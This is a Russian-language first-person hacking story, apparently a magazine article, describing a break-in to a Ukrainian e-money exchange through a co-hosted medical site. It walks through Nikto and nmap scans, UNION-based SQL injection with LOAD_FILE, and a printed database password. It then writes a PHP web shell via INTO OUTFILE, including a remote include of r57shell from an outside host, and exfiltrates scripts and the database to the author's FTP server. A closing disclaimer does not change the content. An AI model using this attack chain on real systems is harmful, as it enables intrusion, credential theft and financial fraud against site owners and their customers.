In Fraud We Trust

Идея была очень сомнительной. Меня очень заинтересовал этот сайт, но я был не уверен в том, что его стоит щупать на предмет багов. Ведь, как правило, администраторы таких ресурсов не лохи, и за попытку взлома можно серьезно получить по шарам. Но мысль о том, что на мобилу можно скинуть, к примеру, 100 баксов, мне не давала покоя, и я принял решение взломать обменник. Но прежде всего надо было позаботиться о безопасности, которую я условно разбил на две части: VPN и Socks. Свалив на улицу и вернувшись уже ближе к ночи, я открыл браузер, загрузил главную страницу сайта… И понеслось…
Изучаем структуру сервера

Cайт обменника был целиком написан на PHP. Минимальное количество скриптов и ничего лишнего - никаких гостевых, форумов я не нашел. Беглый осмотр скриптов на такие распространенные баги, как SQL/PHP-инъекция, PHP-инклуд и XSS, ничего полезного не дал. Тут я решил немного схалявить и просканировать сайт CGI-сканером на наличие директорий и потенциально опасных скриптов. В качестве CGI-сканера я выбрал ныне уже ставший классикой сканер Nikto. Он бесплатен, имеет огромную базу уязвимостей, постоянно обновляется и характеризуется кроссплатформенностью, так как написан на скриптовом языке Perl. Впрочем, хватит описания. Я запустил сканер на шелле в режиме обычного сканирования:

./nikto.pl -host site.ua –generic

Не поленился открыть второе окошко PuTTY, залогиниться на том же шелле и запустить nmap, чтобы узнать, какие порты открыты на удаленном хосте:

./nmap -sT -F site.ua

Сканер портов сработал довольно шустро, и перед глазами предстала следующая картина: на сервере крутились FTP, SSH, HTTP/HTTPS, POP3/SMTP, http-прокси SQUID, ну и еще пара ненужных сервисов. Что касается SQUID, он был самой последней версии, так что нахаляву ничего не могло пройти. В то время как я исследовал работу сервера в целом, Nikto уже нашел кучу всего. Самое минимальное, что можно было выделить, - это нестойкий к переполнениям модуль Апача mod_ssl, проэксплойтить который мне, к сожалению, не удалось.

Зато меня порадовали директории. Сначала я заглянул в папку /icons, даже и не надеясь найти там что-то интересное :). Далее выяснилось, что на сервере стоит phpMyAdmin в одноименной папке. А это уже интересно. Затем админка, которая находилась в /config. При ее осмотре на наличие SQL-инъекции, с помощью которой можно было бы войти в админку по запросу типа «' or '1' = '1'», я снова ничего не нашел. Я подождал еще немного, и сканер скинул мне линки на /webmail (с нее тоже было нечего взять) и на Error_Log, в котором мне посчастливилось обнаружить лог ошибок в PHP-скриптах:

[20-Dec-2005 23:56:19] PHP Warning: file(news.xml): failed to open stream: No such file or directory in /home/medicalc/public_html/money/xml.php on line 14
[20-Dec-2005 23:56:19] PHP Warning: join(): Bad arguments.
in /home/medicalc/public_html/money/xml.php on line 14
[20-Dec-2005 23:56:19] PHP Fatal error: Call to a member function on a non-object in /home/medicalc/public_html/money/xml.php on line 26
[20-Dec-2005 23:59:03] PHP Fatal error: Call to a member function on a non-object in /home/medicalc/public_html/money/xml.php on line 26
[21-Dec-2005 00:03:49] PHP Warning: fopen(rss.xml): failed to open stream: Permission denied in /home/medicalc/public_html/money/rss.php on line 57
[09-Jan-2006 17:42:28] PHP Warning: mysql_connect(): Can't connect to local MySQL server through socket '/var/tmp/mysql.sock' (2) in /home/medicalc/public_html/money/index.php on line 5

Естественно, из ошибок вытянуть чего-нибудь занятное не получилось, но это только на первый взгляд. Теперь совершенно очевидно, что скрипты работают с MySQL и полный путь к сайту у нас таков: /home/medicalc/public_html/emoney.

Ты думаешь, на этом мое исследование закончилось и я решил забить на обменник и пойти болтать в IRC? Нет. Самое главное, что нашел сканер, - это /server-status. Теперь уже интересно…
Существенная зацепка

Что же это за загадочная дира /server-status? Это даже не просто директория и не скрипт, а исключительно Apache'вская примочка. Она отображает всю информацию о веб-сервере: версию Apache, модули и т.д., текущее время, аптайм сервера, нагрузку CPU. Кроме того, из нее можно выудить просто море информации о том, какие сайты хостятся на всем сервере. В общем, выглядит это так, как на картинке.

Ценная инфа, выводимая Apache

Я собрал список сайтов и принялся их изучать. К слову сказать, их оказалось всего 5-6. Но и тут было где разгуляться. Для тех, кто в танке, поясню, чему я так радуюсь: я ищу на одном из этих двух сайтов баг и получаю шелл на сервере обменника. Далее, если администратор сервера - идиот и неправильно выставил chmod'ы, то я постараюсь забраться на обменник, в ином случае - просто подниму свои привилегии локально :).

Итак, я выбрал сайт medicalc.ua. Почему? Да потому что мне сразу понравилось, что этот сайт оказался в Error_Log'e моего обменника с ошибками PHP-скрипта:

[09-Jan-2006 17:42:28] PHP Warning: mysql_connect(): Can't connect to local MySQL server through socket '/var/tmp/mysql.sock' (2) in /home/medicalc/public_html/money/index.php on line 5

Это можно увидеть из директории, в которой находится сайт. Согласись, логично подумать, что этот сайт и мой обменник очень тесно связаны друг с другом, ведь не просто так в логах хранятся его ошибки. Да, кстати, то же самое (я о том, как узнать, какие сайты хостятся на сервере) тебе может предложить и метод Reverse IP LookUp, о котором NSD писал в мартовском номере за 2005 год в статье «Удар по WEB’у». Но, к сожалению, сервис domainsdb.org накрылся, поэтому я предлагаю тебе альтернативный сервис wwwdomaintools.com.

Итак, перейдя на интересующий меня ресурс medicalc.ua, я обнаружил сайт, посвященный медицине. Особо ей не интересуясь и потому не отвлекаясь, я начал осматривать скрипты. Сначала я заглянул во что-то вроде гостевой книги /guestbook, но, несмотря на все свои усилия, ничего найти так и не смог, хотя был уверен, что активная XSS тут будет точно :). Но затем удача повернулась ко мне лицом, и уже через пару минут я нашел линк вида «index.php?id=37». По привычке я поставил в переменную id свою элитную кавычку и увидел очень интересную ошибку:

PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/medicalc/public_html/medical/index.php on line 416

Отлично! SQL-инъекция во всей ее красе!
Штурмуем инъекцию!

К сожалению, разработчики MySQL не предусмотрели в ней функций вроде UNION SELECT ALL_DATABASE_DUMP или UNION SELECT OTDAY_MNE_VSE_PAROLI :), поэтом оставалось только подобрать количество столбцов и узнать имена таблиц, что я принялся и делать. Как выяснилось, столбцов было всего 6 и запрос, который бы выполнялся без ошибок, выглядел так:

http://medicalc.ua/index.php?id=1+UNION … ,3,4,5,6/*

Сначала я собрал информацию о версии MySQL-базы и о том, с чем я вообще имею дело:

http://medicalc.ua/index.php?id=1+UNION … 4,5,6,user()/*
http://medicalc.ua/index.php?id=1+UNION … 6,database()/*
http://medicalc.ua/index.php?id=1+UNION … ,6,version()/*

Чтобы не быть голословным, поясню: с помощью первого запроса я узнал имя пользователя БД, которая могла быть доступна только с localhost; с помощью второй - имя базы medicalc, а посредством третьей - версию MySQL (так, на всякий случай).

Со столбцами дело не шло - названия угадать не удавалось никаким образом. И тут я подумал: а вдруг получится прочитать конфигурационный файл через MySQL-функцию LOADFILE()? Привилегий может и не хватить, но попытка - не пытка :). Кроме того, абсолютный путь до сайта у меня есть. Скрестив пальцы, я выполнил следующий запрос:

http://medicalc.ua/index.php?id=1+UNION … 2,3,4,5,6, LOADFILE('/home/medicalc/public_html/medical/index.php')/*

Я подпрыгнул от радости - на экране замелькали строчки кода из самого index.php! Отлично! Я быстро нашел в коде строку «include("dbconfig.php")» и интуитивно понял, что там хранятся логин и пароль к базе данных:

<?php
$CONFIG['database'] = 'medicalc';
$CONFIG['user'] = 'medicalc';
$CONFIG['passwd'] = 'AfLkYjii';
$CONFIG['host'] = 'localhost';
?>

Далее я, естественно, решил залогиниться в phpMyAdmin со связкой паролей: «medicalc:AfLkYjii». Стоит ли говорить, что пароли подошли и я уже вовсю пользовался прелестями phpMyAdmin. В базе данных ничего полезного я не нашел, спам-базы даже на $1 бы не хватило. И тут я задался вопросом: ну попал в я phpMyAdmin, что дальше? (ну пробил ты стенку головой, и что ты будешь делать в соседней камере? Примечание Forb’а). Пробую залогиниться на FTP – «login incorrect».

Есть еще один способ выхода из этой ситуации - получение шелла через SQL-запросы типа «INTO OUTFILE». Идея такова: сначала мы пишем в какую-нибудь колонку таблицы нечто вроде «<? system($_GET['cmd']); ?>» или что-то подобное. Например, «<? include("http://M3lc1y.narod.ru/r57shell.txt"); ?>». Единственный минус этого инклуда - невозможность работы с GET-запросами. Ну и ладно! Такие шеллы, как r57shell от небезызвестной rst.void.ru, работают исключительно с POST-запросами, кроме того, известно, что POST сорит в логах веб-сервера намного меньше, чем GET, что является его неоспоримым преимуществом для хакеров.

Что-то мы отвлеклись :). Итак, записываем наш PHP-код, например, в таблицу med_users, в колонку password с id, равным 20. В итоге при запросе типа «SELECT password FROM med_users WHERE id=20» на экране должен появиться тот самый PHP-код, который мы и вбивали в БД. В MySQL есть флаг запроса «INTO OUTFILE», который позволяет вывести его результат в текстовый файл. Я клоню к тому, что если выводить ответ от SQL так: «SELECT password FROM med_users WHERE id=20 INTO OUTFILE '/home/medicalc/public_html/medical/temp.php'», то можно без проблем залить полноценный веб-шелл. Но и тут есть свои подводные камни. Во-первых, хватает ли у тебя привилегий SQL-юзера, чтобы работать с INTO? И, во-вторых, не забывай про права на запись в файлах и папках. Но и тут мне повезло :). Правда, не с первого раза. В корневую веб-директорию залить ничего не получилось. Но я не сдался и начал подбирать другие папки, возможно, доступные для записи. Такой папкой была /home/medicalc/public_html/medical/guestbook.

Я выполнил запрос уже так:

SELECT password FROM med_users WHERE id=20 INTO OUTFILE '/home/medicalc/public_html/medical/guestbook/temp.php'

Перешел по адресу http://medicalc.ua/guestbook/temp.php и увидел веб-шелл! Моей радости снова не было предела! Что касается операционки, то это была FreeBSD 6.0. Поднимать привилегии не имело смысла - как я и предполагал, прав на чтение директории самого обменника вполне хватало!

Я поспешил сделать дамп БД обменника и всех скриптов этого сайта, но тут был облом :). Поскольку на сервере стоял Safe Mode, упаковать файлы в tar-архив не получалось, так как было невозможно выполнять команды (на то это и Safe Mode). Копипастить архивы было занятием для мазохистов, кроме того, я боялся, что в папке guestbook перезапишу старые скрипты.

Тут на помощь пришел один из сценариев DxGotoFTP, который ты можешь найти на нашем сайте. Он занимается тем, что заливает любые файлы из заданной директории на удаленный FTP-сервер, тоже в нужную тебе папку. Скрипт удачно выполнил свою работу, несмотря на ограничения подлого PHP. Кстати говоря, сначала я хотел залить perl'овый веб-шелл в папку /cgi-bin, но, к сожалению, мои привилегии были минимальны (nobody). Зайдя на свой FTP, я сжал все скрипты в один архив и слил себе на комп, нашел в сценариях конфиг базы данных и быстренько сотворил дамп MySQL-обменника.

К слову сказать, система работала практически на одних скриптах от WebMoney. Почитать об этом можно в сентябрьском «Хакере» за 2005 год в статье nikitozz'a «Механика WM-процессинга», а мы сейчас опустим этот момент.
Люди в сером

Короче, после того как я достал все, что мне было нужно, я задумался над тем, а стоило ли это делать. Ведь из-за каких-то жалких 500 WMZ (ну или больше, рисковать - лезть в чужой кошелек - я не стал) можно сесть за решетку, так как это уже далеко не дефейс, а чистой воды криминал. Я связался с администратором и вместе с килограммами мата в мою аську получил презент - n'ую сумму денег в качестве благодарности. Я с недоверием принял подарок и до сих пор жду стука в дверь добродушных ребят в сером. Смастерил убийцу жестких дисков по инструкциям летнего номера «X» и теперь, как говорится, всегда готов :).

Эту статью стоит рассматривать исключительно как материал для ознакомления. Ни автор, ни редакция не несут ответственности за применение ее в противозаконных целях. Следует помнить, что если ты вдруг, начитавшись, взломаешь что-нибудь чужое, то отвечать за все будешь только ты один. Мы тебя ни к чему такому криминальному не призываем, наоборот, всячески уговариваем не нарушать законов.